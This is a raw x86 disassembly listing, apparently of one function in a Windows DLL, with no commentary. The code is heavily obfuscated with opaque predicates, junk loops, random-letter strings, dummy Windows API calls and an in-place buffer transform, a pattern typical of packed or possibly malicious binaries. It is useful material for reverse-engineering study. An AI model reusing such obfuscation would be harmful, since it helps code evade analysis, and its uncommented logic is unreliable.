mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x58]
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0xec]
jg 0x1001d38c
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x4cc]
xor ecx, ecx
mov eax, dword [ebp - 0x58]
cmp eax, dword [esi + 4]
setg cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x198]
mov eax, dword [ebp - 0x4cc]
cmp eax, ecx
mov eax, 0x90f3bd79
setg dl
add edx, 0x752b
cmp eax, edx
sbb eax, eax
xor ecx, ecx
inc eax
cmp dword [ebp - 0x34], eax
sete cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x58]
imul eax, eax, 7
add ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, eax
inc eax
inc dword [esi + 4]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x34], 0xa4f69a75
jmp 0x1001d281
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001d415
push ecx
push ecx
push ebx
push ecx
mov ecx, 0x17a5
call fcn.10018bbc
add esp, 0x10
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x408]
call fcn.10001d69
dec dword [ebp - 0x58]
jmp 0x1001d208
push 0x553d
push ecx
push ecx
push 1
push ecx
lea eax, [ebp - 0x58]
push eax
push 0x344c
lea eax, [ebp - 0x238]
push eax
push ecx
lea eax, [ebp - 0x18c]
push eax
call fcn.10017985
mov al, byte [0x10077bc8]
add esp, 0x28
mov dword [ebp - 0x108], 0x10077bc8
mov byte [ebp - 0x45], al
mov dword [ebp - 0x28], 0x89f7a9d2
mov dword [ebp - 0x18], ebx
jmp 0x1001d485
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x17c], 0xe1757117
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001d474
mov dword [ebp - 0x178], ebx
jmp 0x1001d4ff
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x34], 0xfffffffe
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jne 0x1001d4cd
cmp dword [ebp - 0x1c], ebx
je 0x1001d4d2
cmp dword [ebp - 0x1c], ebx
jne 0x1001d4d5
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x178]
imul edx, eax
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 2
setne al
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x178]
cmp dword [ebp - 0x178], 0x17
jne 0x1001d493
mov eax, dword [ebp - 0xc4]
mov cl, byte [0x10077bc8]
mov dl, byte [eax]
call fcn.10020191
push dword [ebp - 0x124]
movdqa xmm0, xmmword [0x1006d7d0]
lea ecx, [ebp - 0x1b0]
mov byte [0x10077bc8], al
lea eax, [ebp - 0x4d0]
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x1b0], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x4e0], xmm0
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1a8], ebx
call fcn.10005101
push 0x6a6c
xor eax, eax
mov dword [ebp - 4], 0x18
inc eax
lea ecx, [ebp - 0x240]
push eax
push eax
push 0x2c01
push ecx
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x240], eax
push ecx
push 0x221b
push 0x17d9
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x194], eax
push ecx
push 0x1338
push 0x2288
push 0x7125
push 0xff0
push 0x5925
push eax
push 0x5d29
mov edx, 0x50f
mov ecx, 0x52a0
call fcn.10018f93
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b0]
add esp, 0x40
call fcn.10001d69
xor edi, edi
mov eax, 0x4a87fce6
inc edi
mov dword [ebp - 0x40], 0x6847dfa8
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x40], 0x2443
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x18], ebx
jmp 0x1001d638
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5fc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001d62b
dec dword [ebp - 0x30]
mov dword [ebp - 0x30], ebx
jmp 0x1001d667
mov dword [ebp - 0x18], ebx
jmp 0x1001d65e
push 1
mov byte [ebp - 0x73], bl
lea edx, [ebp - 0x73]
push ecx
call fcn.10019267
inc dword [ebp - 0x18]
pop ecx
pop ecx
cmp dword [ebp - 0x18], 2
jle 0x1001d64b
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jle 0x1001d646
mov al, byte [edi + 0x10077bc8]
sub esp, 0x10
mov byte [ebp - 0x21], al
call fcn.1001929d
mov eax, edi
mov cl, byte [ebp - 0x21]
cdq
idiv dword [ebp - 0xcc]
mov esi, edx
mov dl, byte [ebp - 0x45]
call fcn.10020191
mov ecx, dword [ebp - 0xc4]
mov dl, byte [esi + ecx]
mov cl, al
call fcn.10020191
mov byte [edi + 0x10077bc8], al
lea edx, [ebp - 0xfc]
push 0xc49
xor eax, eax
mov dword [ebp - 0xfc], 0x4a025691
inc eax
mov dword [ebp - 0x248], 0x3061ece3
push eax
push eax
push eax
push 0x5d27
push 0xa88
push 0x1615
push 0x1984
mov ecx, 0x7dc4
call fcn.10019322
lea eax, [ebp - 0xfc]
mov edx, 0x4074
push eax
xor eax, eax
mov ecx, 0x3774
inc eax
push eax
push eax
push ebx
push 0x43b1
lea eax, [ebp - 0x248]
push eax
push 0x6174
push 0x4a77
call fcn.10019322
mov al, byte [ebp - 0x21]
add esp, 0x50
inc edi
mov byte [ebp - 0x45], al
mov eax, 0x4a87fce6
cmp edi, 4
jl 0x1001d5eb
push dword [ebp - 0x124]
movdqa xmm0, xmmword [0x1006d800]
lea eax, [ebp - 0x4f0]
push eax
lea eax, [ebp - 0x500]
mov dword [ebp - 0x20], ebx
push eax
mov dword [ebp - 0x34], 0xe55459ee
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x1c], 0x2835357f
mov dword [ebp - 0x30], 8
push ebx
movdqu xmmword [ebp - 0x500], xmm0
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], ebx
call fcn.10005101
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x40], 0x246
mov dword [ebp - 0x28], 0x793b
cmp dword [ebp - 0x28], 0x7a6c
jle 0x1001d816
push 0xa7
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x548]
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001d7e1
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x548]
call fcn.1000205c
mov eax, dword [ebp - 0x18]
inc esi
cmp esi, 0x5f38
jl 0x1001d7c3
inc edi
cmp edi, 0x7a21
jl 0x1001d7c1
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x2d9a
jl 0x1001d7bf
mov dword [ebp - 0x18], 0xffffffff
cmp dword [ebp - 0x28], 0x77fd
jge 0x1001d831
push str.hmkolxtc_zyy_tqraiic_zwhx_dhlxs_lmmzwxjku_cvufheiv_uyjjztawx_ygkwgm_bxk_wnegepz
call fcn.10046d04
pop ecx
push 1
lea ecx, [ebp - 0x360]
mov dword [ebp - 4], 0x19
call fcn.10001d0c
push 0x2de4
push 0xcc9
xor eax, eax
mov byte [ebp - 4], 0x1c
inc eax
lea ecx, [ebp - 0x464]
push eax
push 0x5d16
push ecx
push ecx
lea ecx, [ebp - 0x360]
mov edx, 0x3b26
push ecx
push 0x6076
push eax
push ecx
push ecx
push ebx
call fcn.10017fe3
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x360]
mov eax, dword [ebp - 0x20]
add esp, 0x30
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x360]
inc dword [eax]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], 3
call fcn.10001d69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x280]
call fcn.10001d69
mov eax, dword [0x10077bc8]
lea ecx, [ebp - 0x378]
push 2
mov dword [ebp - 0xd0], eax
call fcn.10001d0c
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x30], 0x3a83
cmp dword [ebp - 0x30], 0x3ca7
jle 0x1001d963
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov eax, esi
mov dword [ebp - 0x18], 0x333b
mov dword [ebp - 0x28], eax
mov edi, eax
mov esi, 0x42df
mov eax, edi
lea ecx, [ebp - 0x560]
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001d92f
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x560]
call fcn.1000205c
dec edi
dec esi
jne 0x1001d915
mov eax, dword [ebp - 0x28]
dec eax
dec dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
jne 0x1001d90e
mov esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x29fa
jl 0x1001d902
cmp dword [ebp - 0x30], 0x3a35
jge 0x1001d977
push str.ggygglv_dio_xyotb_pnyfkxqqb_gwvrc_vzgisa_zapafngyb_jjyu_qrfn_jfsofaz_nnwyca_ybmfo_zvtui_tjcd
call fcn.10046d04
pop ecx
mov dword [ebp - 0x8c], ebx
jmp 0x1001d992
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x3c0], ebx
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 3
jl 0x1001d97f
lea eax, [ebp - 0x8c]
xor cl, cl
push eax
sub esp, 0xc
lea edx, [ebp - 0x378]
call fcn.10017e5b
add esp, 0x10
inc dword [ebp - 0x3bc]
mov ecx, dword [ebp - 0x378]
mov dword [ecx], ebx
mov eax, dword [ecx]
inc dword [ecx]
cmp dword [ecx], 3
mov dword [ebp + eax*4 - 0x3c0], 0x55e0
jl 0x1001d9c3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x378]
call fcn.10001d69
mov eax, dword [ebp - 0xd0]
dec eax
cmp eax, 0x2b8f
ja 0x1001f557
mov dword [ebp - 0x250], ebx
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x10c], 0x59310c13
mov dword [ebp - 0xf4], 0xdb8e9646
push 2
call fcn.10001d0c
mov dword [ebp - 4], 0x20
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0x104], 5
mov dword [ebp - 0x11c], 0xf3bd791f
push 2
call fcn.10001d0c
mov byte [ebp - 4], 0x21
mov dword [ebp - 0xe4], 4
mov dword [ebp - 0x1a4], 0x104d
mov dword [ebp - 0x40], 0xce519c81
mov dword [ebp - 0x28], 0x4aee
cmp dword [ebp - 0x28], 0x4c17
jle 0x1001daa3
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x1007ad38
cdq
push edx
push eax
call fcn.10001b82
inc edi
cmp edi, 0x2059
jl 0x1001da81
inc esi
cmp esi, 0x967
jl 0x1001da7f
push 0x5b03
lea eax, [ebp - 0x19c]
push eax
push 0x5cf9
push 1
push ecx
lea ecx, [ebp - 0x298]
call fcn.10019b53
add esp, 0x14
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x28], 0x48a5
jge 0x1001daff
mov edx, str.dpvhlartl_xteamg_qlhdamuqf_ogem
mov ecx, 0x1007ad38
call fcn.10003a0a
jmp 0x1001daff
xor eax, eax
mov dword [ebp - 4], 0x21
inc eax
lea edx, [ebp - 0x2e8]
push eax
push ecx
push ecx
lea eax, [ebp - 0x19c]
push 0x1268
push eax
call fcn.10019c60
add esp, 0x10
lea eax, [ebp - 0x298]
xor dl, dl
push eax
lea eax, [ebp - 0xf4]
push eax
push ecx
push ecx
push 0x3ae8
lea eax, [ebp - 0x10c]
push eax
push ecx
push ecx
lea eax, [ebp - 0x11c]
push eax
sub esp, 0x10
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x250]
push eax
push ecx
lea ecx, [ebp - 0x104]
call fcn.1001afd9
add esp, 0x40
lea eax, [ebp - 0xf4]
lea edx, [ebp - 0xe4]
push eax
push 0x332
lea eax, [ebp - 0x104]
push eax
push ecx
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x10c]
push eax
push ebx
lea eax, [ebp - 0x2e8]
push eax
push ecx
lea eax, [ebp - 0x298]
push 0x78e3
push eax
lea ecx, [ebp - 0x11c]
call fcn.1001a11c
add esp, 0x30
lea ecx, [ebp - 0x2e8]
call fcn.10001d69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.10001d69
push 0x5fd0
push 0x7c7f
push 0x50fb
lea eax, [ebp - 0xd0]
push eax
push 1
push 0x5f1a
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
push 0x24a6
lea eax, [ebp - 0x45]
push eax
push ebx
push 0x70c0
push 0x2427
lea eax, [ebp - 0x258]
push eax
push 0x78fa
mov edx, 0x2c2b
lea ecx, [ebp - 0xc4]
call fcn.1001a441
add esp, 0x40
lea ecx, [ebp - 0x2f4]
push 2
call fcn.10001d0c
push ecx
push 0x40a6
push ecx
push 0x6db
lea eax, [ebp - 0x2f4]
mov dword [ebp - 4], 0x24
push eax
lea eax, [ebp - 0x434]
mov dword [ebp - 0x260], 9
push eax
push ecx
push ecx
mov dword [ebp - 0x1b4], 0xfffffff7
mov cl, 1
mov dword [ebp - 0x1c4], 0x637b3047
call fcn.1001a381
add esp, 0x20
lea eax, [ebp - 0x1b4]
lea edx, [ebp - 0x1c4]
push 1
push ecx
push eax
push ecx
push 0xa01
lea eax, [ebp - 0x2f4]
push eax
lea eax, [ebp - 0x260]
push eax
call fcn.10019f31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f4]
add esp, 0x1c
call fcn.10001d69
push 0x1212
push ebx
push 0x201
push 0x4e18
push 0xeb
push 0x64d2
xor eax, eax
mov edx, 0x1015810c
inc eax
mov ecx, 0x1e2b
push eax
push 0x1ac4
push 0x51f0
push 0x193
push 0x5745
push eax
push 0x4ec5
push 0x45b8
call fcn.1001aa55
add esp, 0x38
mov dword [ebp - 0x60], 0x860b
mov dword [ebp - 0x88], 0xfffffffa
lea ecx, [ebp - 0x30c]
push 3
call fcn.10001d0c
sub esp, 0xc
mov dword [ebp - 4], 0x25
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x40], 3
mov dl, 1
lea ecx, [ebp - 0x498]
push eax
call fcn.1001a1c9
add esp, 0xc
push ebx
push 0x6ccf
push 0x5474
push ecx
lea eax, [ebp - 0x60]
push eax
push ecx
lea edx, [ebp - 0x88]
mov ecx, 0x2bd6
call fcn.10018bf4
add esp, 0x1c
mov dword [ebp - 0x88], 0xfffffff2
jmp 0x1001de0f
mov dword [ebp - 0x28], 0xdaab72b2
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], ebx
jmp 0x1001ddb0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2b0], 0x4325
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001dd9f
mov dword [ebp - 0x60], ebx
cmp dword [ebp - 0x60], 2
jg 0x1001de00
mov esi, dword [ebp - 0x30c]
mov eax, dword [ebp - 0x60]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x2b0]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2b0]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setle dl
mov eax, dword [ebp + eax*4 - 0x2b0]
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esi + 8], eax
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], 2
jle 0x1001ddc5
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x88]
cmp dword [ebp - 0x88], 0x1d
jne 0x1001dd8c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30c]
call fcn.10001d69
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x78], ebx
add eax, 4
mov dword [ebp - 0x9c], 0xe387fb0b
mov dword [ebp - 0x18], 0x6ec6
cmp dword [ebp - 0x18], 0x7296
mov dword [ebp - 0x28], eax
jle 0x1001de88
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1007ad38
or eax, esi
cdq
push edx
push eax
call fcn.10001b82
inc edi
cmp edi, 0x741b
jl 0x1001de58
inc esi
cmp esi, 0x645c
jl 0x1001de56
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x18], 0x6e38
jge 0x1001dec5
mov edx, str.jikmgf_oacjvcfns_wwikmk_uwt_sapsovkxi_rtfytxhb_mskimn_avfnmntm_krmnvdq_bmpjjeq_ygyul_dtybny_hxungd_xtvpfsgs
mov ecx, 0x1007ad38
call fcn.10003a0a
jmp 0x1001dec5
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ebx
jmp 0x1001dede
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x268], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001ded1
push ebx
push ecx
push 0x162
push ecx
push 0x391e
push ecx
push ecx
lea edx, [ebp - 0x9c]
call fcn.10019e14
xor ecx, ecx
mov dword [ebp - 0x9c], ebx
add esp, 0x1c
inc ecx
cmp dword [ebp - 0x9c], 0x10
jg 0x1001df3c
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x20], ebx
jmp 0x1001df2f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x268], 0x5099
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1001df1e
inc dword [ebp - 0x9c]
jmp 0x1001df09
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1001df59
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4ac], 0xcb50bf34
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001df48
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4ac], eax
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001dfa6
push ecx
push ecx
push 0x192
push ecx
push 0xcec
push 0x1fe4
push 0x439a
push 0xf11
push 0x1235
mov dl, cl
mov ecx, 0x2836
push 0x1bfd
call fcn.1001a210
add esp, 0x28
push 2
lea ecx, [ebp - 0x324]
call fcn.10001d0c
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x1c], ebx
jmp 0x1001dfcc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2d0], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001dfbf
mov dword [ebp - 0x1c], ebx
jmp 0x1001dfea
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x324]
mov dword [eax + ecx*4], 0x75286e87
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001dfd7
mov dword [ebp - 0x38], 0x7fdf
cmp dword [ebp - 0x38], 0x82bd
jle 0x1001e067
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], 0xbbe
mov esi, dword [ebp - 0x18]
mov edi, ebx
mov ebx, dword [ebp - 0x20]
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1007ad38
and eax, ebx
cdq
push edx
push eax
call fcn.10001b82
inc edi
cmp edi, 0x4f43
jl 0x1001e018
mov esi, dword [ebp - 0x1c]
add dword [ebp - 0x18], esi
dec dword [ebp - 0x30]
push 0
pop ebx
jne 0x1001e010
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x324b
jl 0x1001e006
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x6804
jl 0x1001e003
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
inc dword [ebp - 0x2cc]
mov byte [ebp - 4], 0x29
cmp dword [ebp - 0x38], 0x7f51
jge 0x1001e0a7
mov edx, str.tqgkuzr_yzoprx_ndytn_nwj_qbvtuy_ozoq_znbp_ghceogbvk_qmmmm_brczze_eotbdr_wlixnczv
mov ecx, 0x1007ad38
call fcn.10003a0a
jmp 0x1001e0a7
mov ecx, dword [ebp - 0x324]
mov dword [ecx], ebx
mov eax, dword [ecx]
inc dword [ecx]
cmp dword [ecx], 3
mov dword [ebp + eax*4 - 0x2d0], 0x55e0
jl 0x1001e0af
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.10001d69
mov byte [ebp - 0x5c], bl
mov byte [ebp - 0x5b], 0xfe
push 0xa
pop eax
mov word [ebp - 0xb4], ax
mov dword [ebp - 0xa4], 0xc68ec0ae
mov dword [ebp - 0x1cc], 0xffffffff
mov dword [ebp - 0x40], 0xf47a6dee
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x38], 0x166f
cmp dword [ebp - 0x38], 0x181b
jle 0x1001e172
push ebx
call dword [sym.imp.USER32.dll_CharUpperW]
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x590]
and eax, edi
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001e143
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x590]
call fcn.1000205c
inc esi
cmp esi, 0x1a91
jl 0x1001e127
inc edi
cmp edi, 0x6403
jl 0x1001e125
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 0x40], 0x7d0fa516
cmp dword [ebp - 0x38], 0x150d
jge 0x1001e18d
push str.abrmye_lrx_fbirigah_kcamiqeuy_teqwfiydy_skmjtry_nhlms
call fcn.10046d04
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x21c], 0xd3f5047c
mov dword [ebp - 0xa4], ebx
jmp 0x1001e1c8
push ebx
push ecx
lea eax, [ebp - 0x1cc]
push eax
push ecx
lea ecx, [ebp - 0xa4]
call fcn.10017c3c
add esp, 0x10
inc dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], 0x11
jle 0x1001e1aa
push ecx
push ecx
push 0x3460
push 1
push 0x4422
sub esp, 0xc
push 0x58a1
push ecx
lea ecx, [ebp - 0x21c]
call fcn.10019b92
add esp, 0x28
mov dword [ebp - 0x34], ebx
push 2
pop esi
mov dword [ebp - 0x20], esi
cmp esi, 2
jae 0x1001e3b3
push 2
lea ecx, [ebp - 0x33c]
call fcn.10001d0c
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x30], 0x4f59
cmp dword [ebp - 0x30], 0x4fb3
jle 0x1001e289
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x38], ecx
mov eax, esi
mov edi, ebx
cdq
mov ebx, 0x5b67
idiv ecx
sub edi, edx
mov eax, edi
mov ecx, 0x1007ad38
cdq
push edx
push eax
call fcn.10001b82
dec edi
dec ebx
jne 0x1001e247
mov ecx, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x1f79
jl 0x1001e239
inc esi
push 0
pop ebx
cmp esi, 0xd2e
jl 0x1001e231
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x43bc
jl 0x1001e22f
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x1dc], 9
mov byte [ebp - 4], 0x2e
cmp dword [ebp - 0x30], 0x4e00
jge 0x1001e2d0
mov edx, str.uwxr_kacmyfhbr_imc_nudammwey_jqp_jvctddqd_aqhr_bueqlxbst_bpjnc
mov ecx, 0x1007ad38
call fcn.10003a0a
jmp 0x1001e2d0
sub esp, 0xc
mov dword [ebp - 4], 0x2d
lea eax, [ebp - 0x208]
mov dword [ebp - 0x244], 0xfffffff7
xor cl, cl
mov dword [ebp - 0x1d4], 0x637b3047
push 0x2412
push eax
lea eax, [ebp - 0x33c]
push eax
sub esp, 0x1c
call fcn.10018718
add esp, 0x34
lea eax, [ebp - 0x1d4]
lea ecx, [ebp - 0x33c]
lea edx, [ebp - 0x1dc]
push eax
push 0x5ed2
push 0x624e
push 0x6537
xor eax, eax
inc eax
push eax
push 0x5189
push 0xe92
push 0x2403
push eax
push ecx
push 0x29bc
push eax
lea eax, [ebp - 0x244]
mov ecx, 0x535
push eax
push 0x5516
push 0x1137
push 0x6797
call fcn.1001a441
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x33c]
add esp, 0x40
call fcn.10001d69
movzx edx, byte [ebp + esi - 0x5b]
mov eax, esi
sub eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0x5e]
movzx ecx, word [ebp + eax*2 - 0xb4]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x5c]
add ecx, edx
add esi, 2
mov word [ebp + eax*2 - 0xb4], cx
jmp 0x1001e1fc
xor eax, eax
mov word [ebp - 0xb2], ax
lea eax, [ebp - 0x68]
push ecx
push eax
mov dword [ebp - 0x68], 4
mov dword [ebp - 0x20], 0x9310c13f
push 1
call fcn.1001a615
xor ecx, ecx
mov dword [ebp - 0x20], 0x2e7c
mov eax, dword [ebp - 0x68]
add esp, 0xc
cmp ecx, eax
mov eax, dword [ebp - 0x68]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x68]
setl dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x68]
jl 0x1001e40c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x68]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xe9f08664
setne al
cmp eax, 0xd549
jne 0x1001e58b
xor ecx, ecx
mov dword [ebp - 0x224], 0xba87
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x1001e450
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1e4], 0xea14c553
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001e43f
push 0x3332
push 0x4b4c
push 0x3571
push 0x6b7e
push 0x6931
push 0x1319
push ebx
push 0x3e37
push ebx
push 0x38d8
push 0x275b
push ecx
lea eax, [ebp - 0x224]
mov edx, 0x6e14
push eax
push ecx
push ecx
mov ecx, 0x32c5
call fcn.10018424
mov dword [ebp - 0x2c], 0x73e6
add esp, 0x3c
cmp dword [ebp - 0x2c], 0x74af
jle 0x1001e568
push ebx
push 0xe7
push ebx
push ebx
push 0xdd2
push 0x41e
push 0xd46
push 0x1a13
push 0x180e
push 0x2277
push 0x5ab
push 0x1c07
push 0x2177
call dword [sym.imp.GDI32.dll_StretchDIBits]
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], ebx
mov eax, edi
mov dword [ebp - 0x18], 0xb58
mov dword [ebp - 0x38], eax
mov edi, eax
mov esi, 0x54ff
mov eax, edi
lea ecx, [ebp - 0x5c0]
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001e524
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5c0]
call fcn.1000205c
dec edi
dec esi
jne 0x1001e50a
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x30]
add eax, esi
dec dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
jne 0x1001e503
mov edi, dword [ebp - 0x1c]
dec esi
mov dword [ebp - 0x30], esi
cmp esi, 0xffffe603
jg 0x1001e4f7
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x7b80
jl 0x1001e4f4
